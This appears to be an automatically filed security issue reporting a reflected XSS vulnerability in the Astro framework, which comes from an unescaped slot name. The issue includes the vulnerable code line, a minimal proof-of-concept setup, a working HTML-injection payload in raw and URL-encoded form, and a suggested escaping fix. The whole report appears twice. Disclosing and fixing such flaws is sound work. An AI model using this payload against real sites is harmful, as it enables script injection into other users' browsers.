🟠 High Security Finding
Scanner: Trivy
Rule: CVE-2026-50146
Severity: HIGH
File: pnpm-lock.yaml:1
Description
Package: astro
Installed Version: 6.1.10
Vulnerability CVE-2026-50146
Severity: HIGH
Fixed Version: 6.3.3
Link: CVE-2026-50146
Remediation Guidance
Vulnerability CVE-2026-50146
Severity: HIGH
Package: astro
Fixed Version: 6.3.3
Link: CVE-2026-50146
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>src/components/Wrapper.jsx
export default function Wrapper() { return null; }Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
References
This issue was automatically created by repo-sentinel. Assigned to Copilot for an automated fix attempt.
🟠 High Security Finding
Scanner: Trivy
Rule:
CVE-2026-50146Severity: HIGH
File:
pnpm-lock.yaml:1Description
Package: astro
Installed Version: 6.1.10
Vulnerability CVE-2026-50146
Severity: HIGH
Fixed Version: 6.3.3
Link: CVE-2026-50146
Remediation Guidance
Vulnerability CVE-2026-50146
Severity: HIGH
Package: astro
Fixed Version: 6.3.3
Link: CVE-2026-50146
Summary
When a component uses a
client:*directive, Astro inserts named slot content into adata-astro-templateattribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjssrc/pages/index.astrosrc/components/Wrapper.jsxPayload:
Accessing this URL will trigger the popup.
http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--
This will render in html.
Fix
I suggest leveraging the existing escape function on the slot name.
References
This issue was automatically created by repo-sentinel. Assigned to Copilot for an automated fix attempt.